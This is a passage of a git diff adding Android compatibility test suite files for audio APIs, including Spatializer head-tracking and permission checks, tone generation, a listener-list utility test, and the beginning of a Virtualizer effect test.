+        // try again with permission, then add a device and remove it
+        getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+        spat.addCompatibleAudioDevice(device);
+        List<AudioDeviceAttributes> compatDevices = spat.getCompatibleAudioDevices();
+        assertTrue("added device not in list of compatible devices",
+                compatDevices.contains(device));
+        spat.removeCompatibleAudioDevice(device);
+        compatDevices = spat.getCompatibleAudioDevices();
+        assertFalse("removed device still in list of compatible devices",
+                compatDevices.contains(device));
+
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    public void testHeadTrackingListener() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testHeadTrackingListener, functionality unsupported");
+            return;
+        }
+
+        // try to call any head tracking method without permission
+        assertThrows("Able to call getHeadTrackingMode without permission",
+                SecurityException.class,
+                () -> spat.getHeadTrackingMode());
+        assertThrows("Able to call getDesiredHeadTrackingMode without permission",
+                SecurityException.class,
+                () -> spat.getDesiredHeadTrackingMode());
+        assertThrows("Able to call getSupportedHeadTrackingModes without permission",
+                SecurityException.class,
+                () -> spat.getSupportedHeadTrackingModes());
+        assertThrows("Able to call setDesiredHeadTrackingMode without permission",
+                SecurityException.class,
+                () -> spat.setDesiredHeadTrackingMode(
+                        Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE));
+        final MyHeadTrackingModeListener listener = new MyHeadTrackingModeListener();
+        assertThrows("Able to call addOnHeadTrackingModeChangedListener without permission",
+                SecurityException.class,
+                () -> spat.addOnHeadTrackingModeChangedListener(Executors.newSingleThreadExecutor(),
+                        listener));
+        assertThrows("Able to call removeOnHeadTrackingModeChangedListener without permission",
+                SecurityException.class,
+                () -> spat.removeOnHeadTrackingModeChangedListener(listener));
+
+        getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+
+        // argument validation
+        assertThrows("Able to call addOnHeadTrackingModeChangedListener with null Executor",
+                NullPointerException.class,
+                () -> spat.addOnHeadTrackingModeChangedListener(null, listener));
+        assertThrows("Able to call addOnHeadTrackingModeChangedListener with null listener",
+                NullPointerException.class,
+                () -> spat.addOnHeadTrackingModeChangedListener(Executors.newSingleThreadExecutor(),
+                        null));
+        assertThrows("Able to call removeOnHeadTrackingModeChangedListener with null listener",
+                NullPointerException.class,
+                () -> spat.removeOnHeadTrackingModeChangedListener(null));
+
+        // test of functionality
+        spat.setEnabled(true);
+        List<Integer> supportedModes = spat.getSupportedHeadTrackingModes();
+        Assert.assertNotNull("Invalid null list of tracking modes", supportedModes);
+        Log.i(TAG, "Reported supported head tracking modes:" + supportedModes);
+        if (!supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE)
+                && !supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_WORLD)
+                && !supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_OTHER)) {
+            // no head tracking is supported, verify it is correctly reported by the API
+            assertEquals("When no head tracking mode supported, list of modes must be empty",
+                    0, supportedModes.size());
+            // TODO: to be enforced
+            //assertEquals("Invalid mode when no head tracking mode supported",
+            //        Spatializer.HEAD_TRACKING_MODE_UNSUPPORTED, spat.getHeadTrackingMode());
+            Log.i(TAG, "no headtracking modes supported, stop test");
+            return;
+        }
+        int trackingModeToUse;
+        if (supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE)) {
+            trackingModeToUse = Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE;
+        } else {
+            trackingModeToUse = Spatializer.HEAD_TRACKING_MODE_RELATIVE_WORLD;
+        }
+        spat.setDesiredHeadTrackingMode(Spatializer.HEAD_TRACKING_MODE_DISABLED);
+        spat.addOnHeadTrackingModeChangedListener(Executors.newSingleThreadExecutor(), listener);
+        spat.setDesiredHeadTrackingMode(trackingModeToUse);
+        Integer observedDesired = listener.getDesired();
+        assertNotNull("No desired head tracking mode change reported", observedDesired);
+        assertEquals("Wrong reported desired tracking mode", trackingModeToUse,
+                observedDesired.intValue());
+        assertEquals("Set desired mode not returned by getter", spat.getDesiredHeadTrackingMode(),
+                trackingModeToUse);
+        final int actualMode = spat.getHeadTrackingMode();
+        // not failing test if modes differ, just logging
+        if (trackingModeToUse != actualMode) {
+            Log.i(TAG, "head tracking mode desired:" + trackingModeToUse + " actual mode:"
+                    + actualMode);
+        }
+        spat.removeOnHeadTrackingModeChangedListener(listener);
+    }
+
+    public void testSpatializerOutput() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testSpatializerOutput, functionality unsupported");
+            return;
+        }
+
+        // try to call any output method without permission
+        assertThrows("Able to call getOutput without permission",
+                SecurityException.class,
+                () -> spat.getOutput());
+        final MyOutputChangedListener listener = new MyOutputChangedListener();
+        assertThrows("Able to call setOnSpatializerOutputChangedListener without permission",
+                SecurityException.class,
+                () -> spat.setOnSpatializerOutputChangedListener(
+                        Executors.newSingleThreadExecutor(), listener));
+        assertThrows("Able to call clearOnSpatializerOutputChangedListener with no listener",
+                SecurityException.class,
+                () -> spat.clearOnSpatializerOutputChangedListener());
+
+        getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+
+        // argument validation
+        assertThrows("Able to call setOnSpatializerOutputChangedListener with null Executor",
+                NullPointerException.class,
+                () -> spat.setOnSpatializerOutputChangedListener(null, listener));
+        assertThrows("Able to call setOnSpatializerOutputChangedListener with null listener",
+                NullPointerException.class,
+                () -> spat.setOnSpatializerOutputChangedListener(
+                        Executors.newSingleThreadExecutor(), null));
+
+        spat.getOutput();
+        // output doesn't change upon playback, so at this point only exercising
+        // registering / clearing of output listener under permission
+        spat.clearOnSpatializerOutputChangedListener(); // this is to clear the client listener ref
+        spat.setOnSpatializerOutputChangedListener(Executors.newSingleThreadExecutor(), listener);
+        spat.clearOnSpatializerOutputChangedListener();
+        assertThrows("Able to call clearOnSpatializerOutputChangedListener with no listener",
+                IllegalStateException.class,
+                () -> spat.clearOnSpatializerOutputChangedListener());
+    }
+
+    public void testExercisePose() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testExercisePose, functionality unsupported");
+            return;
+        }
+
+        // argument validation
+        assertThrows("Able to call setGlobalTransform without a 6-float array",
+                IllegalArgumentException.class,
+                () -> spat.setGlobalTransform(new float[5]));
+        assertThrows("Able to call setGlobalTransform without a null array",
+                NullPointerException.class,
+                () -> spat.setGlobalTransform(null));
+        final MyPoseUpdatedListener listener = new MyPoseUpdatedListener();
+        assertThrows("Able to call setOnHeadToSoundstagePoseUpdatedListener with null Executor",
+                NullPointerException.class,
+                () -> spat.setOnHeadToSoundstagePoseUpdatedListener(null, listener));
+        assertThrows("Able to call setOnHeadToSoundstagePoseUpdatedListener with null listener",
+                NullPointerException.class,
+                () -> spat.setOnHeadToSoundstagePoseUpdatedListener(
+                        Executors.newSingleThreadExecutor(), null));
+        assertThrows("Able to call clearOnHeadToSoundstagePoseUpdatedListener with no listener",
+                IllegalStateException.class,
+                () -> spat.clearOnHeadToSoundstagePoseUpdatedListener());
+
+        getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+        // TODO once headtracking is properly reported: check pose changes on recenter and transform
+        spat.setOnHeadToSoundstagePoseUpdatedListener(
+                Executors.newSingleThreadExecutor(), listener);
+        // oneway call from client to AudioService, can't check for exception earlier
+        spat.recenterHeadTracker();
+        // oneway call from client to AudioService, can't check for exception earler
+        spat.setGlobalTransform(new float[6]);
+        spat.clearOnHeadToSoundstagePoseUpdatedListener();
+    }
+
+    public void testEffectParameters() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testEffectParameters, functionality unsupported");
+            return;
+        }
+
+        // argument validation
+        assertThrows("Able to call setEffectParameter with null value",
+                NullPointerException.class,
+                () -> spat.setEffectParameter(0, null));
+        assertThrows("Able to call getEffectParameter with null value",
+                NullPointerException.class,
+                () -> spat.getEffectParameter(0, null));
+
+        // permission check
+        byte[] val = new byte[4];
+        assertThrows("Able to call setEffectParameter without permission",
+                SecurityException.class,
+                () -> spat.setEffectParameter(0, val));
+        assertThrows("Able to call getEffectParameter without permission",
+                SecurityException.class,
+                () -> spat.getEffectParameter(0, val));
+    }
+
+    public void testSpatializerStateListenerManagement() throws Exception {
+        final Spatializer spat = mAudioManager.getSpatializer();
+        final MySpatStateListener stateListener = new MySpatStateListener();
+
+        // add listener:
+        // verify null arg checks
+        assertThrows("null Executor allowed in addOnSpatializerStateChangedListener",
+                NullPointerException.class,
+                () -> spat.addOnSpatializerStateChangedListener(null, stateListener));
+        assertThrows("null listener allowed in addOnSpatializerStateChangedListener",
+                NullPointerException.class,
+                () -> spat.addOnSpatializerStateChangedListener(
+                        Executors.newSingleThreadExecutor(), null));
+
+        spat.addOnSpatializerStateChangedListener(Executors.newSingleThreadExecutor(),
+                stateListener);
+        // verify double add
+        assertThrows("duplicate listener allowed in addOnSpatializerStateChangedListener",
+                IllegalArgumentException.class,
+                () -> spat.addOnSpatializerStateChangedListener(Executors.newSingleThreadExecutor(),
+                        stateListener));
+
+        // remove listener:
+        // verify null arg check
+        assertThrows("null listener allowed in removeOnSpatializerStateChangedListener",
+                NullPointerException.class,
+                () -> spat.removeOnSpatializerStateChangedListener(null));
+
+        // verify unregistered listener
+        assertThrows("unregistered listener allowed in removeOnSpatializerStateChangedListener",
+                IllegalArgumentException.class,
+                () -> spat.removeOnSpatializerStateChangedListener(new MySpatStateListener()));
+
+        spat.removeOnSpatializerStateChangedListener(stateListener);
+        // verify double remove
+        assertThrows("double listener removal allowed in removeOnSpatializerStateChangedListener",
+                IllegalArgumentException.class,
+                () -> spat.removeOnSpatializerStateChangedListener(stateListener));
+    }
+
+    public void testMinSpatializationCapabilities() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testMinSpatializationCapabilities, no Spatializer");
+            return;
+        }
+        if (!spat.isAvailable()) {
+            Log.i(TAG, "skipping testMinSpatializationCapabilities, Spatializer not available");
+            return;
+        }
+        for (int sampleRate : new int[] { 44100, 4800 }) {
+            AudioFormat minFormat = new AudioFormat.Builder()
+                    .setSampleRate(sampleRate)
+                    .setChannelMask(AudioFormat.CHANNEL_OUT_5POINT1)
+                    .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                    .build();
+            for (int usage : new int[] { AudioAttributes.USAGE_MEDIA,
+                                         AudioAttributes.USAGE_GAME}) {
+                AudioAttributes defAttr = new AudioAttributes.Builder()
+                        .setUsage(usage)
+                        .build();
+                assertTrue("AudioAttributes usage:" + usage + " at " + sampleRate
+                        + " should be virtualizeable", spat.canBeSpatialized(defAttr, minFormat));
+            }
+        }
+    }
+
+    public void testVirtualizerEnabled() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testVirtualizerEnabled, no Spatializer");
+            return;
+        }
+        boolean spatEnabled = spat.isEnabled();
+        final MySpatStateListener stateListener = new MySpatStateListener();
+
+        spat.addOnSpatializerStateChangedListener(Executors.newSingleThreadExecutor(),
+                stateListener);
+        getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+        spat.setEnabled(!spatEnabled);
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+        assertEquals("VirtualizerStage enabled state differ",
+                !spatEnabled, spat.isEnabled());
+        Boolean enabled = stateListener.getEnabled();
+        assertNotNull("VirtualizerStage state listener wasn't called", enabled);
+        assertEquals("VirtualizerStage state listener didn't get expected value",
+                !spatEnabled, enabled.booleanValue());
+    }
+
+    static class MySpatStateListener
+            implements Spatializer.OnSpatializerStateChangedListener {
+
+        private final LinkedBlockingQueue<Boolean> mEnabledQueue =
+                new LinkedBlockingQueue<Boolean>(1);
+
+        void reset() {
+            mEnabledQueue.clear();
+        }
+
+        Boolean getEnabled() throws Exception {
+            return mEnabledQueue.poll(LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+
+        MySpatStateListener() {
+            reset();
+        }
+
+        @Override
+        public void onSpatializerEnabledChanged(Spatializer spat, boolean enabled) {
+            Log.i(TAG, "onSpatializerEnabledChanged:" + enabled);
+            mEnabledQueue.offer(enabled);
+        }
+
+        @Override
+        public void onSpatializerAvailableChanged(@NonNull Spatializer spat, boolean available) {
+            Log.i(TAG, "onSpatializerAvailableChanged:" + available);
+        }
+    }
+
+    static class MyHeadTrackingModeListener
+            implements Spatializer.OnHeadTrackingModeChangedListener {
+        private final LinkedBlockingQueue<Integer> mDesiredQueue =
+                new LinkedBlockingQueue<Integer>(1);
+        private final LinkedBlockingQueue<Integer> mRealQueue =
+                new LinkedBlockingQueue<Integer>(1);
+
+        @Override
+        public void onHeadTrackingModeChanged(Spatializer spatializer, int mode) {
+            Log.i(TAG, "onHeadTrackingModeChanged:" + mode);
+            mRealQueue.offer(mode);
+        }
+
+        @Override
+        public void onDesiredHeadTrackingModeChanged(Spatializer spatializer, int mode) {
+            Log.i(TAG, "onDesiredHeadTrackingModeChanged:" + mode);
+            mDesiredQueue.offer(mode);
+        }
+
+        public Integer getDesired() throws Exception {
+            return mDesiredQueue.poll(LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+    }
+
+    static class MyOutputChangedListener
+            implements Spatializer.OnSpatializerOutputChangedListener {
+        @Override
+        public void onSpatializerOutputChanged(Spatializer spatializer, int output) {
+            Log.i(TAG, "onSpatializerOutputChanged:" + output);
+        }
+    }
+
+    static class MyPoseUpdatedListener
+            implements Spatializer.OnHeadToSoundstagePoseUpdatedListener {
+        @Override
+        public void onHeadToSoundstagePoseUpdated(Spatializer spatializer, float[] pose) {
+            Log.i(TAG, "onHeadToSoundstagePoseUpdated:" + Arrays.toString(pose));
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/ToneGeneratorTest.java b/tests/tests/media/audio/src/android/media/audio/cts/ToneGeneratorTest.java
new file mode 100644
index 0000000..13556f8
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/ToneGeneratorTest.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.media.AudioManager;
+import android.media.ToneGenerator;
+import android.media.cts.NonMediaMainlineTest;
+import android.platform.test.annotations.AppModeFull;
+import android.test.AndroidTestCase;
+
+@NonMediaMainlineTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class ToneGeneratorTest extends AndroidTestCase {
+
+    public void testSyncGenerate() throws Exception {
+        ToneGenerator toneGen = new ToneGenerator(AudioManager.STREAM_RING,
+                                                  ToneGenerator.MAX_VOLUME);
+
+        toneGen.startTone(ToneGenerator.TONE_PROP_BEEP2);
+        final long DELAYED = 1000;
+        Thread.sleep(DELAYED);
+        toneGen.stopTone();
+        toneGen.release();
+    }
+
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/UtilsTest.java b/tests/tests/media/audio/src/android/media/audio/cts/UtilsTest.java
new file mode 100644
index 0000000..7d07111
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/UtilsTest.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.media.cts.NonMediaMainlineTest;
+import android.media.Utils;
+import android.os.Handler;
+import android.os.HandlerThread;
+import androidx.test.runner.AndroidJUnit4;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@NonMediaMainlineTest
+@RunWith(AndroidJUnit4.class)
+public class UtilsTest {
+    @Test
+    public void testListenerList() throws Exception {
+        // The ListenerList is a Test API only to enable a dedicated unit test
+        // to ensure it works as expected.
+        Utils.ListenerList<Long> listeners = new Utils.ListenerList();
+
+        final int[] resultEventCode = { 0 };
+        final long[] resultLong = { 0L };
+
+        final Object key = new Object();
+        final Semaphore semaphore = new Semaphore(0);
+
+        // Use a Handler for an executor (version 1).
+        final HandlerThread thread = new HandlerThread("Tester");
+        thread.start();
+        final Executor executor = new Executor() {
+            private final Handler mHandler = Handler.createAsync(thread.getLooper());
+            @Override
+            public void execute(Runnable runnable) {
+                mHandler.post(runnable);
+            }
+        };
+
+        listeners.add(key, executor, (int eventCode, Long l) -> {
+            resultEventCode[0] = eventCode;
+            resultLong[0] = l;
+            semaphore.release();
+        });
+
+        listeners.notify(1, 2L);
+        assertTrue("semaphore should have been triggered",
+            semaphore.tryAcquire(1 /* permits */, 1, TimeUnit.SECONDS));
+
+        assertEquals("event code must match", 1, resultEventCode[0]);
+        assertEquals("value must match", 2L, resultLong[0]);
+        listeners.remove(key);
+
+        assertFalse("semaphore should not have been triggered",
+            semaphore.tryAcquire(1 /* permits */, 250, TimeUnit.MILLISECONDS));
+
+        // should do nothing as we aren't listening.
+        listeners.notify(3, 4L);
+        assertEquals("event code must match", 1, resultEventCode[0]);
+        assertEquals("value must match", 2L, resultLong[0]);
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/VirtualizerTest.java b/tests/tests/media/audio/src/android/media/audio/cts/VirtualizerTest.java
new file mode 100644
index 0000000..a164c8f
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/VirtualizerTest.java
@@ -0,0 +1,698 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.content.Context;
+import android.media.audiofx.AudioEffect;
+import android.media.AudioFormat;
+import android.media.audiofx.Virtualizer;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.PostProcTestBase;
+import android.os.Looper;
+import android.platform.test.annotations.AppModeFull;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import android.media.audio.cts.R;
+
+import java.util.Arrays;
+
+@NonMediaMainlineTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class VirtualizerTest extends PostProcTestBase {
+
+    private String TAG = "VirtualizerTest";
+    private final static short TEST_STRENGTH = 500;
+    private final static short TEST_STRENGTH2 = 1000;
+    private final static float STRENGTH_TOLERANCE = 1.1f;  // 10%
+    private final static int MAX_LOOPER_WAIT_COUNT = 10;
+
+    private Virtualizer mVirtualizer = null;
+    private Virtualizer mVirtualizer2 = null;
+    private ListenerThread mEffectListenerLooper = null;
+
+    //-----------------------------------------------------------------
+    // VIRTUALIZER TESTS:
+    //----------------------------------
+
+    //-----------------------------------------------------------------
+    // 0 - constructor
+    //----------------------------------
+
+    //Test case 0.0: test constructor and release
+    public void test0_0ConstructorAndRelease() throws Exception {
+        if (!isVirtualizerAvailable()) {
+            return;
+        }
+
+        Virtualizer eq = null;
+        try {
+            eq = new Virtualizer(0, getSessionId());
+            try {
+                assertTrue(" invalid effect ID", (eq.getId() != 0));
+            } catch (IllegalStateException e) {
+                fail("Virtualizer not initialized");
+            }
+        } catch (IllegalArgumentException e) {
+            fail("Virtualizer not found");
+        } catch (UnsupportedOperationException e) {
+            fail("Effect library not loaded");
+        } finally {
+            if (eq != null) {
+                eq.release();
+            }
+        }
+    }
+
+
+    //-----------------------------------------------------------------
+    // 1 - get/set parameters
+    //----------------------------------
+
+    //Test case 1.0: test strength
+    public void test1_0Strength() throws Exception {
+        if (!isVirtualizerAvailable()) {
+            return;
+        }
+
+        getVirtualizer(getSessionId());
+        try {
+            if (mVirtualizer.getStrengthSupported()) {
+                short strength = mVirtualizer.getRoundedStrength();
+                strength = (strength == TEST_STRENGTH) ? TEST_STRENGTH2 : TEST_STRENGTH;
+                mVirtualizer.setStrength((short)strength);
+                short strength2 = mVirtualizer.getRoundedStrength();
+                // allow STRENGTH_TOLERANCE difference between set strength and rounded strength
+                assertTrue("got incorrect strength",
+                        ((float)strength2 > (float)strength / STRENGTH_TOLERANCE) &&
+                        ((float)strength2 < (float)strength * STRENGTH_TOLERANCE));
+            } else {
+                short strength = mVirtualizer.getRoundedStrength();
+                assertTrue("got incorrect strength", strength >= 0 && strength <= 1000);
+            }
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseVirtualizer();
+        }
+    }
+
+    //Test case 1.1: test properties
+    public void test1_1Properties() throws Exception {
+        if (!isVirtualizerAvailable()) {
+            return;
+        }
+
+        getVirtualizer(getSessionId());
+        try {
+            Virtualizer.Settings settings = mVirtualizer.getProperties();
+            String str = settings.toString();
+            settings = new Virtualizer.Settings(str);
+
+            short strength = settings.strength;
+            if (mVirtualizer.getStrengthSupported()) {
+                strength = (strength == TEST_STRENGTH) ? TEST_STRENGTH2 : TEST_STRENGTH;
+            }
+            settings.strength = strength;
+            mVirtualizer.setProperties(settings);
+            settings = mVirtualizer.getProperties();
+
+            if (mVirtualizer.getStrengthSupported()) {
+                // allow STRENGTH_TOLERANCE difference between set strength and rounded strength
+                assertTrue("got incorrect strength",
+                        ((float)settings.strength > (float)strength / STRENGTH_TOLERANCE) &&
+                        ((float)settings.strength < (float)strength * STRENGTH_TOLERANCE));
+            }
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseVirtualizer();
+        }
+    }
+
+    //Test case 1.2: test setStrength() throws exception after release
+    public void test1_2SetStrengthAfterRelease() throws Exception {
+        if (!isVirtualizerAvailable()) {
+            return;
+        }
+
+        getVirtualizer(getSessionId());
+        mVirtualizer.release();
+        try {
+            mVirtualizer.setStrength(TEST_STRENGTH);
+        } catch (IllegalStateException e) {
+            // test passed
+        } finally {
+            releaseVirtualizer();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 2 - Effect enable/disable
+    //----------------------------------
+
+    //Test case 2.0: test setEnabled() and getEnabled() in valid state
+    public void test2_0SetEnabledGetEnabled() throws Exception {
+        if (!isVirtualizerAvailable()) {
+            return;
+        }
+
+        getVirtualizer(getSessionId());
+        try {
+            mVirtualizer.setEnabled(true);
+            assertTrue(" invalid state from getEnabled", mVirtualizer.getEnabled());
+            mVirtualizer.setEnabled(false);
+            assertFalse(" invalid state to getEnabled", mVirtualizer.getEnabled());
+        } catch (IllegalStateException e) {
+            fail("setEnabled() in wrong state");
+        } finally {
+            releaseVirtualizer();
+        }
+    }
+
+    //Test case 2.1: test setEnabled() throws exception after release
+    public void test2_1SetEnabledAfterRelease() throws Exception {
+        if (!isVirtualizerAvailable()) {
+            return;
+        }
+
+        getVirtualizer(getSessionId());
+        mVirtualizer.release();
+        try {
+            mVirtualizer.setEnabled(true);
+        } catch (IllegalStateException e) {
+            // test passed
+        } finally {
+            releaseVirtualizer();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 3 priority and listeners
+    //----------------------------------
+
+    //Test case 3.0: test control status listener
+    public void test3_0ControlStatusListener() throws Exception {
+        if (!isVirtualizerAvailable()) {
+            return;
+        }
+
+        synchronized(mLock) {
+            mHasControl = true;
+            mInitialized = false;
+            createListenerLooper(true, false, false);
+            waitForLooperInitialization_l();
+
+            getVirtualizer(mSession);
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while (mHasControl && (looperWaitCount-- > 0)) {
+                try {
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseVirtualizer();
+        }
+        assertFalse("effect control not lost by effect1", mHasControl);
+    }
+
+    //Test case 3.1: test enable status listener
+    public void test3_1EnableStatusListener() throws Exception {
+        if (!isVirtualizerAvailable()) {
+            return;
+        }
+
+        synchronized(mLock) {
+            mInitialized = false;
+            createListenerLooper(false, true, false);
+            waitForLooperInitialization_l();
+
+            mVirtualizer2.setEnabled(true);
+            mIsEnabled = true;
+            getVirtualizer(mSession);
+            mVirtualizer.setEnabled(false);
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while (mIsEnabled && (looperWaitCount-- > 0)) {
+                try {
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseVirtualizer();
+        }
+        assertFalse("enable status not updated", mIsEnabled);
+    }
+
+    //Test case 3.2: test parameter changed listener
+    public void test3_2ParameterChangedListener() throws Exception {
+        if (!isVirtualizerAvailable()) {
+            return;
+        }
+
+        synchronized(mLock) {
+            mInitialized = false;
+            createListenerLooper(false, false, true);
+            waitForLooperInitialization_l();
+
+            getVirtualizer(mSession);
+            mChangedParameter = -1;
+            mVirtualizer.setStrength(TEST_STRENGTH);
+
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while ((mChangedParameter == -1) && (looperWaitCount-- > 0)) {
+                try {
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseVirtualizer();
+        }
+        assertEquals("parameter change not received",
+                Virtualizer.PARAM_STRENGTH, mChangedParameter);
+    }
+
+    //-----------------------------------------------------------------
+    // 4 virtualizer capabilities
+    //----------------------------------
+
+    //Test case 4.0: test virtualization format / mode query: at least one of the following
+    //   combinations must be supported, otherwise the effect doesn't really qualify as
+    //   a virtualizer: AudioFormat.CHANNEL_OUT_STEREO or the quad and 5.1 side/back variants,
+    //   in VIRTUALIZATION_MODE_BINAURAL or VIRTUALIZATION_MODE_TRANSAURAL
+    public void test4_0FormatModeQuery() throws Exception {
+        if (!isVirtualizerAvailable()) {
+            return;
+        }
+        getVirtualizer(getSessionId());
+        try {
+            boolean isAtLeastOneConfigSupported = false;
+            boolean isConfigSupported = false;
+
+            // testing combinations of input channel mask and virtualization mode
+            for (int m = 0 ; m < VIRTUALIZATION_MODES.length ; m++) {
+                for (int i = 0 ; i < CHANNEL_MASKS.length ; i++) {
+                    isConfigSupported = mVirtualizer.canVirtualize(CHANNEL_MASKS[i],
+                            VIRTUALIZATION_MODES[m]);
+                    isAtLeastOneConfigSupported |= isConfigSupported;
+                    // optional logging
+                    String channelMask = Integer.toHexString(CHANNEL_MASKS[i]).toUpperCase();
+                    String nativeChannelMask =
+                            Integer.toHexString(CHANNEL_MASKS[i] >> 2).toUpperCase();
+                    Log.d(TAG, "content channel mask: 0x" + channelMask + " (native 0x"
+                            + nativeChannelMask
+                            + ") mode: " + VIRTUALIZATION_MODES[m]
+                            + " supported=" + isConfigSupported);
+                }
+            }
+
+            assertTrue("no valid configuration supported", isAtLeastOneConfigSupported);
+        } catch (IllegalArgumentException e) {
+            fail("bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("command not supported");
+        } catch (IllegalStateException e) {
+            fail("command called in wrong state");
+        } finally {
+            releaseVirtualizer();
+        }
+    }
+
+    //Test case 4.1: test that the capabilities reported by Virtualizer.canVirtualize(int,int)
+    //   matches those returned by Virtualizer.getSpeakerAngles(int, int, int[])
+    public void test4_1SpeakerAnglesCapaMatchesFormatModeCapa() throws Exception {
+        if (!isVirtualizerAvailable()) {
+            return;
+        }
+        getVirtualizer(getSessionId());
+        try {
+            // 3: see size requirement in Virtualizer.getSpeakerAngles(int, int, int[])
+            // 6: for number of channels of 5.1 masks in CHANNEL_MASKS
+            int[] angles = new int[3*6];
